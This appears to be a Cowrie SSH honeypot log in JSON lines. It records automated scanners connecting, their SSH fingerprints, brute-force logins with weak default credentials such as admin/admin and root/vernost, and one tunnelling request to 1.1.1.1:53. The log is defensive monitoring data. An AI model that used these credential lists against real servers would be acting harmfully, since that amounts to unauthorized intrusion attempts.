{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":25738,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eef364f07dd","protocol":"ssh","message":"New connection: 176.53.159.196:25738 (159.203.135.109:22) [session: 4eef364f07dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:18.534377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:18.537352Z","src_ip":"176.53.159.196","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:18.637814Z","src_ip":"176.53.159.196","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:18.942883Z","src_ip":"176.53.159.196","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.045492Z","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.146865Z","src_ip":"176.53.159.196","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38486,"dst_ip":"10.17.0.5","dst_port":22,"session":"c96f72b09829","protocol":"ssh","message":"New connection: 45.156.87.253:38486 (10.17.0.5:22) [session: c96f72b09829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.159707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.163299Z","src_ip":"45.156.87.253","session":"c96f72b09829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.245933Z","src_ip":"45.156.87.253","session":"c96f72b09829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.252660Z","src_ip":"176.53.159.196","session":"4eef364f07dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:19.653541Z","src_ip":"45.156.87.253","session":"c96f72b09829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:20.737479Z","src_ip":"45.156.87.253","session":"c96f72b09829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38498,"dst_ip":"10.17.0.5","dst_port":22,"session":"b90eaf8b593c","protocol":"ssh","message":"New connection: 45.156.87.253:38498 (10.17.0.5:22) [session: b90eaf8b593c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:22.744399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:22.747940Z","src_ip":"45.156.87.253","session":"b90eaf8b593c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:22.828252Z","src_ip":"45.156.87.253","session":"b90eaf8b593c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"toor","message":"login attempt [nginx/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:23.070153Z","src_ip":"45.156.87.253","session":"b90eaf8b593c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:24.153516Z","src_ip":"45.156.87.253","session":"b90eaf8b593c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e9d5d1fe02","protocol":"ssh","message":"New connection: 45.156.87.253:38514 (10.17.0.5:22) [session: c1e9d5d1fe02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:26.047911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:26.053876Z","src_ip":"45.156.87.253","session":"c1e9d5d1fe02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:26.133452Z","src_ip":"45.156.87.253","session":"c1e9d5d1fe02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:26.374744Z","src_ip":"45.156.87.253","session":"c1e9d5d1fe02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:27.461684Z","src_ip":"45.156.87.253","session":"c1e9d5d1fe02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"17d5d89289bd","protocol":"ssh","message":"New connection: 45.156.87.253:45060 (10.17.0.5:22) [session: 17d5d89289bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:29.504605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:29.508681Z","src_ip":"45.156.87.253","session":"17d5d89289bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:29.588948Z","src_ip":"45.156.87.253","session":"17d5d89289bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:29.831518Z","src_ip":"45.156.87.253","session":"17d5d89289bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:30.913921Z","src_ip":"45.156.87.253","session":"17d5d89289bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":28884,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8b86001d55","protocol":"ssh","message":"New connection: 147.45.199.80:28884 (10.17.0.5:22) [session: bd8b86001d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:31.010431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:31.014139Z","src_ip":"147.45.199.80","session":"bd8b86001d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:31.109278Z","src_ip":"147.45.199.80","session":"bd8b86001d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vernost","message":"login attempt [root/vernost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:31.394864Z","src_ip":"147.45.199.80","session":"bd8b86001d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:32.492012Z","src_ip":"147.45.199.80","session":"bd8b86001d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e1dcef1d00","protocol":"ssh","message":"New connection: 45.156.87.253:45064 (10.17.0.5:22) [session: c7e1dcef1d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:33.019051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:33.022500Z","src_ip":"45.156.87.253","session":"c7e1dcef1d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:33.103259Z","src_ip":"45.156.87.253","session":"c7e1dcef1d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Ab123456","message":"login attempt [alex/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:33.346478Z","src_ip":"45.156.87.253","session":"c7e1dcef1d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:34.430619Z","src_ip":"45.156.87.253","session":"c7e1dcef1d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45074,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d221fc9f14a","protocol":"ssh","message":"New connection: 45.156.87.253:45074 (10.17.0.5:22) [session: 2d221fc9f14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:36.341301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:36.345163Z","src_ip":"45.156.87.253","session":"2d221fc9f14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:36.426013Z","src_ip":"45.156.87.253","session":"2d221fc9f14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:36.669698Z","src_ip":"45.156.87.253","session":"2d221fc9f14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:37.754040Z","src_ip":"45.156.87.253","session":"2d221fc9f14a","protocol":"ssh"}
